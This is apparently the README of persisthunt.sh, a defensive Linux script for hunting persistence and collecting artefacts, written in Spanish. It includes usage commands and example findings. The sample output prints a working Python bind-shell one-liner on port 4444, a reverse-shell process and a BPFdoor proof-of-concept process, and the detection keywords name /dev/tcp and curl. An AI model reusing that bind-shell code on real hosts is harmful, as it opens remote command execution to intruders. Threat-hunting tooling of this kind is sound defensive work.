
Script de detección de persistencia, caza y recopilación de artefactos en Linux
persisthunt.sh ayuda a acelerar las investigaciones recolectando artefactos relacionados con persistencia específicos y destacando patrones sospechosos comúnmente asociados con técnicas de persistencia en Linux.
El script asiste en la detección de persistencia, búsqueda de amenazas y recolección de artefactos a través de mecanismos conocidos de persistencia en Linux. Los hallazgos se categorizan en tres niveles - High, Low e Informational basados en confianza y severidad. Los ejemplos incluyen entradas de autorun sospechosas que referencian /tmp/, /home/, /dev/tcp, curl, o detección de shells bind/reverse activos.
Está diseñado como una base flexible que los defensores pueden personalizar para sus entornos agregando o eliminando lógica de detección y palabras clave. La salida puede ser grande y puede requerir análisis específico del entorno, pero también es adecuada para revisión y resumen usando LLMs o agentes de IA.
Ejecutar como usuario root y redirigir la salida a un archivo
sudo persisthunt.sh > output.log
Ejecutar en un host remoto vía SSH
ssh [email protected] 'bash -s' < persisthunt.sh > output.log 2>&1
=== [HIGH] Active reverse shell ===
bob 3889906 0.0 0.0 2800 1848 pts/2 S+ 06:38 0:00 sh -i
=== [HIGH] Active bind shell ===
LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* users:(("python3",pid=3891687,fd=3))
bob 3891687 0.7 0.3 19540 12320 pts/3 S+ 06:41 0:00 python3 -c exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4444));s1.listen(1);c,a=s1.accept(); while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")
=== [HIGH] eBPF programs with raw network sockets (possible BPFdoor persistence) ===
PID: 3903559, Executable: bpfdoorpoc, Stack trace: /proc/3903559/stack:[<0>] packet_recvmsg+0x6e/0x5c0
=== [LOW] Recent ELF binary in tmp/home/hidden dirs ===
/var/tmp/.test